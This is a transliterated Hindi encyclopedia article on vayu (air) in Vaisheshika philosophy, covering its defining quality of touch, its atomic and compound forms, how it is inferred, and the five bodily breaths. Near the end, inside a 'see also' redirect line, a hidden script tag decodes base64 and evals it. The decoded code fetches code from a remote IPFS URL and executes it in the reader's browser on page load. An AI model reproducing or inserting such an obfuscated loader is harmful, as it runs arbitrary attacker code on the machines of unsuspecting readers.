वायु -वैशेषिक दर्शन
- maharshi kanad ne vaisheshikasootr mean dravy, gun, karm, samany, vishesh aur samavay namak chh: padarthoan ka nirdesh kiya aur prashastapad prabhriti bhashyakaroan ne pray: kanad ke mantavy ka anusaran karate hue padarthoan ka vishleshan kiya.
- jis dravy mean sparsh namak gun samavay sambandh se rahe, usako vayu kaha jata hai.[1]
- sootrakar ke is kathan mean prashastapad ne yah bat bhi jo di ki vayu mean sparsh ke atirikt sankhya, pariman, prithaktv, sanyog, vibhag, paratv, aparatv tatha sanskar ye gun bhi rahate haian.[2]
- vayu ka sparsh anushn, ashit tatha apakaj hone ke karan prithvi adi ke sparsh se bhinn hota hai. vayu rooparahit hota hai. vayu bhi anu (nity) aur kary (anity) roop mean do prakar ka hota hai. karyaroop vayu ke paramanuoan mean sharir, indriy, vishay aur pran ke bhed se char prakar ka dravyarambhakatv (samavayikaranatv) rahata hai.[3]
- vishvanath ke anusar vishay mean hi pran ka antarbhav hone se vayaviy sharir ayonij hote haian. ve vayulok mean rahate haian aur parthiv anuoan ke sanyog se upabhog mean samarth hote haian vayaviy indriy tvak hoti hai, jo sare sharir mean vidyaman rahati hai.[4] kintu is sandarbh mean jayant bhatt ka yah kathan bhi dhyan dene yogy hai ki tvagindriy se shariravarak charm hi nahian, apitu sharir ke bhitari tantuoan ka bhi grahan hona chahie. vayu ka pratyaksh nahian hota. usaka sparsh, shabd, kamp adi se anuman hota hai. vayu ki gati tiryak hoti hai. sammoorchchhan (vishesh prakar ka sanyog) sannipat (takarav), trin ke oordhvagaman adi ke adhar par yah bhi anuman kiya jata hai ki vayu anek haian. sharir mean ras, mal adi ka prerak vayu pran kahalata hai aur moolat: ek hai, kintu sthanabhed aur kriyabhed se vah
- mukhanasika se nishkraman aur pravesh karane ke karan pran
- mal adi ko niche le jane ke karan apan
- sab or le jane se saman
- oopar le jane se udan aur
- na di dvaroan mean vistrit hone se vyan kahalata hai.
- sootrakar aur prashastapad ke anusar vayu ka jnan anuman praman se hota hai, kintu vyom shivachary, raghunath shiromani, venidatt adi acharyoan ka yah mat hai ki vayu ka jnan pratyaksh praman se ho jata hai.[5]
- annanbhatt ne rooparahit aur sparshavan ko vayu kaha hai. ab pray: vayu ka yahi lakshan sarvasadharan mean adhik prachalit hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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